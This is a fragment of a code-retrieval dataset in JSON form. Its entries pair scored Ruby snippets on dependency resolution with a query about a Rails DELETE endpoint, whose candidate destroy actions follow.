"text": "def calculate_step_dependencies(step = nil, current_list = nil)\n current_list ||= []\n\n unless(step)\n step = current_step\n end\n\n all_deps = []\n step_deps = step.dependencies\n\n\n unless(step_deps.blank?)\n step_deps.each do |dep|\n unless(step_list.include?(dep))\n raise(InvalidStep, \"Missing dependency step: #{dep}\")\n end\n\n next if(all_deps.include?(dep))\n dep_step = steps[dep]\n\n all_deps << dep\n all_deps += calculate_step_dependencies(steps[dep], all_deps)\n all_deps.uniq!\n end\n end\n\n step_list.inject([]) do |map, value|\n map << value if all_deps.include?(value)\n map\n end\n end",
"title": ""
},
{
"docid": "727f9fb34e0faa0481b5984fa694b5a2",
"score": "0.50785273",
"text": "def compute_follow_sets(rules, top_rule_name=nil)\n unless top_rule_name.nil?\n top_rule = rules.get_rule(top_rule_name)\n add_to_follow_set(top_rule, :eof)\n end\n dependency_graph = build_follow_dep_graph(rules)\n dependency_graph.each do |stage|\n stage.each do |tuple|\n rule = rules.get_rule(tuple[:term])\n tuple[:first_set_deps].each do |r|\n add_to_follow_set(rule, r.first_set-[:nullable])\n end\n tuple[:follow_set_deps].each do |r|\n add_to_follow_set(rule, r.follow_set)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "eb35968d5eee35993d0e545c01ae384c",
"score": "0.5054366",
"text": "def resolve_dependencies\n if parent.check_dependecies(self)\n raise BakerError, \"dependency recursion\"\n end\n puts \"resolving dependencies for #{self.name}\" if $DEBUG\n dep_names = dependencies | applicable_compliment | applicable_supplement\n resolved, @unresolved_dependencies = Catalog.instance.resolve_names(dep_names)\n @resolved_dependencies = resolved.collect{|rn| Catalog.instance.get(rn, self)}\n end",
"title": ""
},
{
"docid": "15ddf2eb27eb49f6908c3c34388f31ec",
"score": "0.50468934",
"text": "def parse!\n # feeling risky?\n return source! if Config.source?\n\n have_deps = build_only?\n have_mdeps = false\n\n lines = pkgbuild.dup.split(\"\\n\")\n\n [].tap do |arr|\n while line = lines.shift\n if line =~ /makedepends=(.*)/\n parse_bash_array!(arr, $1, lines)\n have_mdeps = true\n\n break if have_deps\n elsif line =~ /(?!make)depends=(.*)/\n unless build_only?\n parse_bash_array!(arr, $1, lines)\n have_deps = true\n\n break if have_mdeps\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "1ec2321c23a7ab5da20d6a559bfbddcf",
"score": "0.5045549",
"text": "def graph_prerequisites\n end",
"title": ""
},
{
"docid": "e67b88e3c931272f04a1116963ef8977",
"score": "0.5044435",
"text": "def each\n @decl_rel.each_node(@node) { |n| yield n } # Should use yield here as passing &block through doesn't always work (why?)\n end",
"title": ""
},
{
"docid": "59282e091e84906abc6dec6657633dd8",
"score": "0.50378007",
"text": "def add_dependencies(gem_name, gem_meta)\n gem_meta.dependencies.each do |dep|\n @nodes[gem_name].dependencies << @nodes[dep.name] if @nodes[dep.name]\n @nodes[dep.name].references << @nodes[gem_name] if @nodes[dep.name]\n end\n end",
"title": ""
},
{
"docid": "002a7a72e7094295f43a462beb1e7a1b",
"score": "0.5034895",
"text": "def output_gem_dependencies\n return if gems.none?\n\n Output.warning(:ruby_gems)\n gems.each do |name, version|\n Output.plain(:gem_name_and_version, name: name, version: version)\n end\n end",
"title": ""
},
{
"docid": "4bf2b9e5a862f0c6286e222fdc530da8",
"score": "0.5033764",
"text": "def get_all_deps(layout_dir, identifier)\n unchecked_deps = get_direct_deps(layout_dir, identifier)\n checked_deps = []\n loop do\n checking = unchecked_deps.pop\n break unless checking\n\n get_direct_deps(layout_dir, checking).each do |direct|\n next if checked_deps.include?(direct) || unchecked_deps.include?(direct)\n unchecked_deps << direct\n end\n checked_deps << checking\n end\n checked_deps\n end",
"title": ""
},
{
"docid": "58ba70ff36c4301d5dc6d31b16a1faa8",
"score": "0.502942",
"text": "def component_dependencies c\n resolve_components!\n\n validate_components!\n\n # If Array is given, dup it because we\n # will mutate it as a stack, otherwise create\n # new Array stack with c.\n stack = Array === c ? c.dup : [ c ]\n \n # Set of all dependencies of c.\n set = [ ]\n\n # Cache of dependencies of each Component.\n deps = { }\n\n until stack.empty?\n c = stack.pop\n next if c.nil?\n # puts \"c = #{c}\"\n unless set.include? c\n set << c\n d = (deps[c] ||= c.dependencies)\n stack.push(*d)\n end\n end\n\n # puts \"set = #{set.inspect}\"\n set = topographic_sort(set,\n :dependents => lambda { |c| deps[c] || EMPTY_ARRAY },\n :order => lambda { | a, b | \n case\n when (result = (top_level_component?(a) ? 0 : 1) <=> (top_level_component?(b) ? 0 : 1)) != 0\n when (result = a.name.to_s <=> b.name.to_s) != 0\n when (result = 0)\n end\n result\n }\n )\n # puts \"set sort_topo = #{set.inspect}\"\n\n set\n end",
"title": ""
},
{
"docid": "ebf1e078bf4a2c12ec6efd4317989066",
"score": "0.5025524",
"text": "def dependencies_graph(nodes=nil)\n nodes = @resolver.getDependenciesGraph() unless nodes\n\n graph = {}\n if Naether.platform == 'java'\n nodes.each do |k,v|\n deps = dependencies_graph(v)\n graph[k] = Naether::Java.convert_to_ruby_hash( deps )\n end\n else\n iterator = nodes.entrySet().iterator();\n while iterator.hasNext()\n entry = iterator.next()\n deps = dependencies_graph(entry.getValue())\n graph[entry.getKey().toString()] = Naether::Java.convert_to_ruby_hash( deps )\n end\n end\n\n graph\n end",
"title": ""
},
{
"docid": "fe230a94fab70f01d6ca74bcf2ae2d82",
"score": "0.50230926",
"text": "def resolve_packages_dependencies(*root_names)\n result = Set.new\n queue = root_names.dup\n while pkg_name = queue.shift\n next if result.include?(pkg_name)\n result << pkg_name\n\n pkg = find_autobuild_package(pkg_name)\n pkg.dependencies.each do |dep_name|\n queue << dep_name\n end\n end\n result\n end",
"title": ""
},
{
"docid": "9578d62e7a0d23ec9c7e3ba5dd68baaa",
"score": "0.49998766",
"text": "def walk_deps(gem_spec)\n dep_tree = {}\n if gem_spec.is_a? Gem::Specification\n trace(\"Checking #{gem_spec.full_name}\", TRACE_INFO)\n dependencies(gem_spec).each do |k,v|\n trace(\" #{k}\", TRACE_INFO)\n found = {}\n not_found = []\n v.each do |shlib|\n if found[shlib].nil? || not_found.include?(shlib)\n shlib_dir = find_shlib_dir(File.dirname(k), shlib)\n if shlib_dir\n found[shlib] = shlib_dir\n trace(\" #{shlib} -> Found at #{shlib_dir}\", TRACE_SUCCESS)\n elsif !shlib.start_with?(\"msvcrt-ruby\")\n not_found << shlib\n trace(\" #{shlib} -> Not found\", TRACE_ERROR)\n end\n end\n end\n dep_tree[k] = {:found => found, :not_found => not_found}\n end\n trace(\"=\"*40, TRACE_INFO)\n end\n dep_tree\n end",
"title": ""
},
{
"docid": "bb1a8068b0ffaa6c0e79453e3ff868fd",
"score": "0.49993718",
"text": "def dependency_tree(recipe_key, already=[])\n tree = {}\n recipe = Catalog.instance.get(recipe_key)\n recipe.resolved_dependencies.each do |rk|\n if !already.include?(rk)\n already << rk\n branch = dependency_tree(rk, already)\n tree[rk] = (branch == {} ? true : branch)\n end\n end\n recipe.unresolved_dependencies.each do |ur|\n tree[ur] = false\n end\n tree\n end",
"title": ""
},
{
"docid": "e0bd1a043a6400db44bc3f1355336d0c",
"score": "0.499829",
"text": "def build_depends\n data.build_dependencies\n end",
"title": ""
},
{
"docid": "c5c022caf2735e8ee3d281d49706a31e",
"score": "0.49879503",
"text": "def uses(keg_name, recursive=true, ignores=[], args:)\n # https://raw.githubusercontent.com/Homebrew/brew/master/Library/Homebrew/cmd/uses.rb\n formulae = [Formulary.factory(keg_name)]\n uses = Formula.installed.select do |f|\n formulae.all? do |ff|\n begin\n if recursive\n deps = f.recursive_dependencies do |dependent, dep|\n if dep.recommended?\n Dependency.prune if ignores.include?(\"recommended?\") || dependent.build.without?(dep)\n elsif dep.optional?\n Dependency.prune if !includes.include?(\"optional?\") && !dependent.build.with?(dep)\n elsif dep.build?\n Dependency.prune unless includes.include?(\"build?\")\n end\n\n # If a tap isn't installed, we can't find the dependencies of one\n # its formulae, and an exception will be thrown if we try.\n if dep.is_a?(TapDependency) && !dep.tap.installed?\n Dependency.keep_but_prune_recursive_deps\n end\n end\n\n dep_formulae = deps.flat_map do |dep|\n begin\n dep.to_formula\n rescue\n []\n end\n end\n\n reqs_by_formula = ([f] + dep_formulae).flat_map do |formula|\n formula.requirements.map { |req| [formula, req] }\n end\n\n reqs_by_formula.reject! do |dependent, req|\n if req.recommended?\n ignores.include?(\"recommended?\") || dependent.build.without?(req)\n elsif req.optional?\n !includes.include?(\"optional?\") && !dependent.build.with?(req)\n elsif req.build?\n !includes.include?(\"build?\")\n end\n end\n\n reqs = reqs_by_formula.map(&:last)\n else\n includes, ignores = Homebrew.args_includes_ignores(Homebrew.uses_args.parse)\n deps = f.deps.reject do |dep|\n ignores.any? { |ignore| dep.send(ignore) } && includes.none? { |include| dep.send(include) }\n end\n # deps.reject! do |dep|\n # # Exclude build dependencies or not required and can be built without it\n # dep.build? || (!dep.required? && as_formula(dep.name).build.without?(dep))\n # end\n reqs = f.requirements.reject do |req|\n ignores.any? { |ignore| req.send(ignore) } && includes.none? { |include| req.send(include) }\n end\n end\n next true if deps.any? do |dep|\n begin\n dep.to_formula.full_name == ff.full_name\n rescue\n dep.name == ff.name\n end\n end\n\n reqs.any? { |req| req.name == ff.name }\n rescue FormulaUnavailableError\n # Silently ignore this case as we don't care about things used in\n # taps that aren't currently tapped.\n next\n end\n end\n end\n uses.map(&:full_name)\n end",
"title": ""
},
{
"docid": "2fb99602fdb42bbe2803858cb69b43b8",
"score": "0.49787873",
"text": "def remove_unfulfilled_dependencies(tree, raise_on_missing = true, processed = {})\n return unless tree[:dependencies]\n \n tree[:dependencies].each do |package, dependency|\n dependency[:versions].select! do |version, version_subtree|\n if processed[version]\n true\n else\n processed[version] = true\n\n # Remove unfulfilled transitive dependencies\n remove_unfulfilled_dependencies(version_subtree, false, processed)\n valid = true\n version_subtree[:dependencies].each do |k, v|\n valid = false if v[:versions].empty?\n end\n valid\n end\n end\n if dependency[:versions].empty? && raise_on_missing\n raise \"No valid version found for package #{package}\"\n end\n end\n end",
"title": ""
},
{
"docid": "7373f6399c5aec0474f0c47b56bc88cb",
"score": "0.49770737",
"text": "def dependencies!\n []\n end",
"title": ""
},
{
"docid": "77505765919c1e8541f7c0b6c0eade26",
"score": "0.49736017",
"text": "def build_graph\n each_load_dependency do |other, version|\n other_plugin = @configuration.plugins[other]\n unless other_plugin\n puts \"#{@name} has a load dependency not found: #{other}\"\n return false\n end\n @fwd_load_graph << other_plugin\n other_plugin.rev_load_graph << self\n end\n each_start_dependency do |other, version|\n other_plugin = @configuration.plugins[other]\n unless other_plugin\n puts \"#{@name} has a start dependency not found: #{other}\"\n return false\n end\n return false unless other_plugin\n @fwd_start_graph << other_plugin\n other_plugin.rev_start_graph << self\n end\n return true\n end",
"title": ""
}
] |
f9d86dbdcd68970f1249e6b2be2e82b9
|
DELETE /processmasters/1 DELETE /processmasters/1.json
|
[
{
"docid": "4dc2281f44e14b1ae3be8e3138fc51ed",
"score": "0.7374029",
"text": "def destroy\n @processmaster.destroy\n respond_to do |format|\n format.html { redirect_to processmasters_url, notice: 'Processmaster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "d819015a419e4ad08c49cf8ba1b17c00",
"score": "0.684996",
"text": "def destroy\n @childmaster = Childmaster.find(params[:id])\n @childmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to childmasters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8b7ca6b8c36c064899e5123717575079",
"score": "0.68342113",
"text": "def destroy\n @pharmaceutical_master.destroy\n respond_to do |format|\n format.html { redirect_to pharmaceutical_masters_url, notice: DELETE_NOTICE }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c1c246399253d7c4d6bc79fa3bc9948a",
"score": "0.6820011",
"text": "def destroy\n @processo.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "e20928a10a51d6699caf90784cdfd402",
"score": "0.67159015",
"text": "def destroy\n @hot_master.destroy\n respond_to do |format|\n format.html { redirect_to hot_masters_url, notice: DELETE_NOTICE }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7b18875b36e2df206072d1767eb9248f",
"score": "0.6651031",
"text": "def destroy\n @processdef = Processdef.find(params[:id])\n @processdef.destroy\n\n respond_to do |format|\n format.html { redirect_to processdefs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7a0919f3a042179b17af9ae1f695a2c9",
"score": "0.6648957",
"text": "def delete\n response = @api.delete(@cloud.url(:delete, @process_id), token: @cloud.access_token.token)\n if response['StatusCode'] == 200\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "40e3be0d98257ac9f5051aebf47096d4",
"score": "0.66325563",
"text": "def destroy\n @master.destroy\n\n respond_to do |format|\n format.html { redirect_to masters_url, notice: \"Master was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b69d70d648a75b89f33c4593ede17932",
"score": "0.6622636",
"text": "def destroy\n @selective_process.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Prcoesso deletado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4a4cb39a22beb5d0f68846a86d82661e",
"score": "0.6602382",
"text": "def destroy\n @master.destroy\n respond_to do |format|\n format.html { redirect_to masters_url, notice: 'Master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "74c7a9297f7b0aacd239d7e5f0301d80",
"score": "0.6599887",
"text": "def destroy\n @pluto_process_definition = collection.find(params[:id])\n @pluto_process_definition.destroy\n\n respond_to do |format|\n format.html { redirect_to @core_application }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "fda24f4e92e795b8a31ae3837323a3e7",
"score": "0.6582919",
"text": "def destroy\n @childmaster = Childmaster.find(params[:id])\n @childmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(childmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "153eabd876b6a73d9505067d0390e6d3",
"score": "0.65824914",
"text": "def destroy\n @cpm_process.destroy\n respond_to do |format|\n format.html { redirect_to cpm_processes_url, notice: 'Cpm process was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "57dc2c69195ecdda347ef9e7cb16c8b5",
"score": "0.65807",
"text": "def destroy\n @consultant_master = ConsultantMaster.find(params[:id])\n @consultant_master.destroy\n\n respond_to do |format|\n format.html { redirect_to consultant_masters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5eb3bddcd9e041ac72d9bca76630a9c5",
"score": "0.65706736",
"text": "def destroy\n @service_type_master.destroy\n respond_to do |format|\n format.html { redirect_to service_type_masters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3c7d88d4635eb1f4eb80205e2c6b6535",
"score": "0.65677303",
"text": "def destroy\n @pagemaster.destroy\n respond_to do |format|\n format.html { redirect_to pagemasters_url, notice: 'Pagemaster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d6898ba4115ddd60fb28f63c9d17f417",
"score": "0.6558551",
"text": "def destroy\n @process_lt.destroy\n respond_to do |format|\n format.html { redirect_to process_lts_url, notice: 'Process was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5891e709ca87193bd806d86b706e55d5",
"score": "0.6551777",
"text": "def destroy\n @charge_master = ChargeMaster.find(params[:id])\n @charge_master.destroy\n\n respond_to do |format|\n format.html { redirect_to charge_masters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "33303611cf1a7d1907c3dd1327d10e1d",
"score": "0.65446997",
"text": "def destroy\n @master_memorial.destroy\n respond_to do |format|\n format.html { redirect_to master_memorials_url, notice: 'Memorial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0a70725c8cb29f41457a9274e32bd23c",
"score": "0.65182906",
"text": "def destroy\n @item_process = ItemProcess.find(params[:id])\n @item_process.destroy\n\n respond_to do |format|\n format.html { redirect_to item_processes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5d70c3965aac1a9005758cfd45b4f457",
"score": "0.65172845",
"text": "def destroy\n @dor_master.destroy\n respond_to do |format|\n format.html { redirect_to dor_masters_url, notice: 'Dor master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "46fcf99bea67c2c0b3333319e461e5ff",
"score": "0.6507816",
"text": "def destroy\n @processo.destroy\n respond_to do |format|\n format.html { redirect_to processos_url, notice: 'Processo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4c1c164b581dbae14285797e584e8fb7",
"score": "0.64929694",
"text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "51b1355f265d8f3613e033afefabfe91",
"score": "0.6487753",
"text": "def destroy\n @fab_process = FabProcess.find(params[:id])\n @fab_process.destroy\n\n respond_to do |format|\n format.html { redirect_to(fab_processes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c8ac384605c1e977e1709b026509496f",
"score": "0.6482851",
"text": "def destroy\n @process_state.destroy\n respond_to do |format|\n format.html { redirect_to process_states_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f09c807e4788fe9c7833b6d786838584",
"score": "0.6474192",
"text": "def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "179ff0053e8f4f967cb3d92206094cf0",
"score": "0.64296806",
"text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "09909e80c50bc08535a3d8b3c5d934a1",
"score": "0.64178413",
"text": "def destroy\n @terminal_master.destroy\n respond_to do |format|\n format.html { redirect_to terminal_masters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8d60c01d5b6b9307ae1ee53bd3ba5a4",
"score": "0.6415569",
"text": "def destroy\n @cello_master.destroy\n respond_to do |format|\n format.html { redirect_to cello_masters_url, notice: 'Cello master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "892bd72cb8c8a3b148f4fdf12c0781ca",
"score": "0.6415203",
"text": "def destroy\n @learn_process = LearnProcess.find(params[:id])\n @learn_process.destroy\n\n respond_to do |format|\n format.html { redirect_to(learn_processes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0a160154471ea79607c9d5d8cd74197d",
"score": "0.6409507",
"text": "def destroy\n @testmaster = Testmaster.find(params[:id])\n @testmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(testmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9a2e0fc8beb2002c8bf60b7ce11e9ef8",
"score": "0.6400435",
"text": "def destroy\n @payment_site_master.destroy\n respond_to do |format|\n format.html { redirect_to payment_site_masters_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e776ad55ae8da4b77d767b538ba14188",
"score": "0.63955367",
"text": "def destroy\n @server_node = ServerNode.find(params[:id])\n @server_node.destroy\n\n respond_to do |format|\n format.html { redirect_to server_nodes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d82ec35dab4532ac704dc5f558661085",
"score": "0.6387792",
"text": "def delete\n urlMaster = Urlmaster.find(params[:id])\n urlMaster.destroy\n\n if urlMaster\n redirect_to crawler_path\n end\n end",
"title": ""
},
{
"docid": "99700150176fbd99d6b8f41fd14ac5f4",
"score": "0.6385629",
"text": "def destroy\n @core_status_processamento = Core::StatusProcessamento.find(params[:id])\n @core_status_processamento.destroy\n\n respond_to do |format|\n format.html { redirect_to core_status_processamentos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6d50408e116ac8b8b089f60f832c9e6a",
"score": "0.6384135",
"text": "def destroy\n @packing_process = PackingProcess.find(params[:id])\n @packing_process.destroy\n\n respond_to do |format|\n format.html { redirect_to packing_processes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ae65eb4209d3f8a9c2b62b3a05286085",
"score": "0.6383993",
"text": "def destroy\n @process_module.destroy\n respond_to do |format|\n format.html { redirect_to process_modules_url, notice: 'Process module was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d1b92eb57853d2f7a59149b381565e3",
"score": "0.63784343",
"text": "def destroy\n @server = Server.find(params[:id])\n checkaccountobject(\"servers\",@server)\n @server.send_delete\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ff3777bda7f7510abe545e52f9a88888",
"score": "0.63730186",
"text": "def destroy\n @node = Node.find_key(params[:id] || params[:name])\n @node.destroy\n respond_to do |format|\n format.html { redirect_to deployment_path(@node.deployment_id) }\n format.json { render api_delete @node }\n end\n end",
"title": ""
},
{
"docid": "b844c6a77c16c3cacc1c2f0df74ae321",
"score": "0.63466215",
"text": "def destroy\n @ac_master.destroy\n respond_to do |format|\n format.html { redirect_to ac_masters_url, notice: 'Ac master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3a344159b82a5f7a49c594d326adc57b",
"score": "0.63450193",
"text": "def destroy\n @suburb_master.destroy\n respond_to do |format|\n format.html { redirect_to suburb_masters_url, notice: 'Suburb master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b843d92ac7eb213baba8774643ac3d63",
"score": "0.6342746",
"text": "def destroy\n @storage_processor = StorageProcessor.find(params[:id])\n @storage_processor.destroy\n\n respond_to do |format|\n format.html { redirect_to storage_processors_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "09b0b3b5495331ac3a046c12ef367d92",
"score": "0.6339965",
"text": "def destroy\n @document_master.destroy\n respond_to do |format|\n format.html { redirect_to document_masters_url, notice: 'Document Master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cd87efaf9a6091e7070861d6a1f2d021",
"score": "0.63346905",
"text": "def destroy\n @region_master.destroy\n respond_to do |format|\n format.html { redirect_to region_masters_url, notice: \"Region master was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "00e85c6ba10939c219fb51df1ae2c190",
"score": "0.6334244",
"text": "def destroy\n @djrmaster.destroy\n respond_to do |format|\n format.html { redirect_to djrmasters_url, notice: 'Djrmaster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "573c6dc8292182051becfce10e44e8dc",
"score": "0.63342357",
"text": "def destroy\n @subprocess.destroy\n respond_to do |format|\n format.html { redirect_to subprocesses_url, notice: 'Subprocess was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "63f247d542c2aacda54911fed2302163",
"score": "0.63310045",
"text": "def destroy\n @source_master.destroy\n respond_to do |format|\n format.html { redirect_to source_masters_url, notice: \"Source master was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4b70492e501d9860bd7563042e2ec8be",
"score": "0.6322644",
"text": "def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "689d5a07a403c4b765ba178e4aff08a3",
"score": "0.63113314",
"text": "def delete\n client.delete(\"/#{id}\")\n end",
"title": ""
},
{
"docid": "11c2a1a2efaeeb5366b885e0605908bd",
"score": "0.6306104",
"text": "def destroy\n @number_master = NumberMaster.find(params[:id])\n @number_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(number_masters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4fa62bf5e50a5eac5959099850a4f4fb",
"score": "0.6287703",
"text": "def destroy\n @allocation_master.destroy\n respond_to do |format|\n format.html { redirect_to allocation_masters_url, notice: 'Allocation master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a8d213c5d6b6725b34431ce894a4e6bc",
"score": "0.62853277",
"text": "def destroy\n @masterservice.destroy\n respond_to do |format|\n format.html { redirect_to masterservices_url, notice: 'Masterservice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f1dad81a3dc9e4ab6229d38c42af3ae9",
"score": "0.6282908",
"text": "def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "29a36f972cb53b3162fa47a5484008e3",
"score": "0.62788296",
"text": "def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "29a36f972cb53b3162fa47a5484008e3",
"score": "0.62788296",
"text": "def destroy\n @crawl_request = CrawlRequest.find(params[:id])\n @crawl_request.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "d0457a5bcf60f5be40e40075e71ff15b",
"score": "0.62786347",
"text": "def destroy\n @approval_process = ApprovalProcess.find(params[:id])\n @approval_process.destroy\n\n respond_to do |format|\n format.html { redirect_to approval_processes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5c669d316a2b2c22963cb4815264d30b",
"score": "0.627353",
"text": "def destroy\n @process_step.destroy\n respond_to do |format|\n format.html { redirect_to process_steps_url, notice: 'Process step was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c041326bfceed55b0cd635b020c3c66e",
"score": "0.627328",
"text": "def destroy\n @master_ea_no_match.destroy\n respond_to do |format|\n format.html { redirect_to master_ea_no_matches_url, notice: 'Master ea no match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3225fb59181152e4aff81309ebb2c5cf",
"score": "0.6272952",
"text": "def destroy\n @maker_master.destroy\n respond_to do |format|\n format.html { redirect_to maker_masters_url, notice: 'Maker master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0357ad2b5c7215c58795cdbbf3d1504a",
"score": "0.62664396",
"text": "def destroy\n @multi_agent_service.destroy\n respond_to do |format|\n format.html { redirect_to multi_agent_services_url, notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "65f150544ba959f20793920372b411fc",
"score": "0.6264502",
"text": "def destroy\n @process_map.destroy\n respond_to do |format|\n format.html { redirect_to process_maps_url, notice: 'Process map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "548c58f86f5050749adf654151b657ed",
"score": "0.62642145",
"text": "def destroy\n @distro = Distro.find(params[:id])\n @distro.destroy\n\n respond_to do |format|\n format.html { redirect_to distros_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "236799cf101b5fca9628e82226fbda2a",
"score": "0.6263262",
"text": "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"title": ""
},
{
"docid": "2029e0f18c1f7fa0600f245866578131",
"score": "0.6256869",
"text": "def destroy\n @sequence_database = SequenceDatabase.find(params[:id])\n @sequence_database.destroy\n\n respond_to do |format|\n format.html { redirect_to sequence_databases_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "adb0a09d21db182a39ba46a6c9130c25",
"score": "0.6248607",
"text": "def destroy\n puts \"this is working\"\n @master_size.destroy\n respond_to do |format|\n format.html { redirect_to master_sizes_url, notice: 'Size was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "98acb6c7bf2c0f4332ed1aee876561c8",
"score": "0.6241033",
"text": "def destroy\n @refferalmaster = Refferalmaster.find(params[:id])\n @refferalmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(refferalmasters_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a259084cfee970e7d261f2eb3cba7a42",
"score": "0.62408906",
"text": "def destroy\n @cleaners_approval_process.destroy\n respond_to do |format|\n format.html { redirect_to cleaners_approval_processes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "66ec84cba72727e91265eb5f5bdc2d89",
"score": "0.6240664",
"text": "def destroy\n b.node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "91149e56ff3d785c90d29415f1d517fc",
"score": "0.62398094",
"text": "def destroy\n @serverhascontainer.destroy\n respond_to do |format|\n format.html { redirect_to serverhascontainers_url, notice: 'Serverhascontainer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a339db3fce3db2afd3007e569d254d95",
"score": "0.62362003",
"text": "def destroy\n @hq_proc = HqProc.find(params[:id])\n @hq_proc.destroy\n \n respond_to do |format|\n format.html { redirect_to(hq_procs_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "80300301ebbaf19abcc9afd228544f36",
"score": "0.62322766",
"text": "def destroy\n @customermaster.destroy\n respond_to do |format|\n format.html { redirect_to customermasters_url, notice: 'Customermaster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f234ea901020f8b85c58975f014ea1e6",
"score": "0.62314177",
